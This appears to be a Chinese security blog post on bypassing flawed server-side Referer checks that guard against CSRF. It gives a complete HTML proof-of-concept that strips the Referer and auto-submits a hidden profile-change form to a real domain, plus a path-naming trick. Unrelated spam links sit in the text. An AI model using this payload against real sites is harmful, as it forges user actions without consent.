• CSRF绕过后端Referer校验


    CSRF绕过后端Referer校验分正常情况和不正常的情况,我们这里主要讨论开发在写校验referer程序时,不正常的情况下怎么进行绕过。

    正常情况

    正常的情况指服务器端校验Referer的代码没毛病,那么意味着前端是无法绕过的。

    我之前考虑过的方案:

    • js修改Referer,失败;
    • 请求恶意网页后,后端重新送包,问题是你怎么跨域拿Cookie,失败;

    豌豆资源搜索网站https://55wd.com 广州vi设计公司http://www.maiqicn.com

    不正常的情况

    不正常的情况指服务器端校验Referer的代码有漏洞,前端才能做到绕过,下面介绍几个可能会绕过Referer的案例;

    添加无Referer标签

    可以尝试无Referer标签,万一逻辑刚好没判断无Referer的情况呢;

    <meta name="referrer" content="never">

    Copy
    <html>
      <meta name="referrer" content="never">
      <body>
      <script>history.pushState('', '', '/')</script>  <!-- 实现浏览器页面不刷新修改url链接 -->
        <form action="http://www.baidu.com/setProfile" method="POST">
          <input type="hidden" name="nickname" value="new22" />
          <input type="hidden" name="email" value="1&#64;1&#46;com" />
          <input type="hidden" name="team" value="new22" />
          <input type="hidden" name="address" value="new33" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
     

    自建服务器路径带referer字段名

    原理就是在路径上创建成原本referer中有的字段名,如果校验只是判断是否包含,那就666了;

    如果文章对你有帮助,可以给文章评论、点推荐哦 
  • 相关阅读:
    学习规划
    一位十年的老司机告诉你什么是编程思想
    React开发
    一个简单的ipfs音乐播放器的实现
    React错误总结(三)
    React错误总结解决方案(二)
    mongoid模糊查询
    Rails accepts_nested_attributes_for表单嵌套的利器
    route_path
    "constantize" and "with_indifferent_access" method
  • 原文地址:https://www.cnblogs.com/qianxiaox/p/13740348.html
Copyright © 2020-2023  润新知